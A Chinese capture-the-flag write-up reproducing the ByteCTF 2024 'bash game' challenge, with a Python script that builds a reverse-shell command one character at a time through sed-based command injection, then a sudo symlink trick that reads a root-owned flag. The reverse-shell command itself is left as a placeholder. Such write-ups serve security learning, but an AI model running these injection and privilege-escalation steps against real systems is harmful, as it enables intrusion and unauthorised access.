前言


以下题目的复现环境均为根据网上大佬们的WP所创建的,与题目存在一些不完全一致之处。本文纯粹是为了记录复现过程,如有问题,请各位大佬多多指教。附上笔者题目附件和部署文档。
地址:CTFReproduction/2024/ByteCTF at main · symya/CTFReproduction (github.com)

跟复现环境相比,题目可太好做了(:

misc

bash game


题目附件

附上一份能跑的dockerfile,注意要在该项目根目录和/lib/cmd目录下创建go.mod文件。完整的复现环境~
地址:CTFReproduction/2024/ByteCTF/misc/bashgame at main · symya/CTFReproduction (github.com)

做题流程:

go代码审计
image.png
image.png
发现

  1. /update以post接收name参数
  2. 判断自字符长度是否小于6
  3. 调用cmd.Exec函数,此处限制了交互时间。
  4. 执行sed -i "s/Bytectf.*!/Bytectf, $name!/" "$conf_file",将name参数替换进入/opt/challenge/ctf.sh
  5. 执行ctf.sh,输出echo welcome to Bytectf, username!

在 Bash 脚本中,反引号用于执行命令替换。命令替换允许你在脚本中嵌入一个命令,并将该命令的输出替换到脚本中。这意味着你可以在脚本中执行一个命令,并使用它的输出作为脚本的一部分。

成功执行ls
image.png

其效果相当于
image.png

至此,我们要考虑的问题就是如何绕过传入参数的总长度不能大于6这一限制。
而此处只能一次性写入3个字符,所以我们可以想办法让内容留在ctf.sh里面,再依次写入内容从而达到任意内容进而执行命令。

此处附上lhRaMk7师傅的解法,使用sed的贪婪模式实现命令执行。
2024-Bytectf-bashgame分析 - 先知社区 (aliyun.com)

1
sed -i "s/Bytectf.*!/Bytectf, $name!/" "$conf_file"

可以通过#注释来把后面的!注释。
由于sed贪婪模式的存在,存在多个!会一直匹配到最后一个!
由此得出,payload可以写为:

1
!dsad#

在本地实验一下
image.png

我们需要在特殊符号前面加入/

1
!dssa/#

image.png

再次运行,发现dssa被成功写入。由此,我们可以开始构造命令执行payload。
image.png

由于题目中存在传入参数的总长度不能大于6这一限制,于是我们可以尝试一个一个的写入。
反弹shell脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
rs = requests.Session()

url_base = 'http://127.0.0.1:23333'
url = url_base + "/update"

def shell(i):
param = '!'+i+'/#'
print(i)
print(param)
data = {"name": param}
r = rs.post(url, data=data)
print(i)
print (r.text)

if __name__ == '__main__':
cmd = '''
`反弹shell`
'''.strip()
cmd = cmd[::-1]
for i in cmd:
shell(i)
# print (i)

image.png

目前为ctf用户,发现truegame.sh文件和flag文件,为root权限。
sudo -l 发现

1
2
3
4
5
6
7
8
Matching Defaults entries for ctf on 65ba4dd2ee45:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User ctf may run the following commands on 65ba4dd2ee45:
(ALL) NOPASSWD: /opt/challenge/truegame.sh

发现可以sudo执行truegame.sh
看看truegame.sh内容

1
2
3
4
5
6
#!/bin/bash  
if [[ "$1" -eq 1 ]]; then
sudo cat "$1"
else
echo 'wrong'
fi

会检测第一个参数是否为1,所以只能使用这个1来读取文件。
软连接,把flag链接到1下,再调用。

1
2
ln -s flag 1
sudo ./truegame.sh 1

image.png

image.png

未完待续…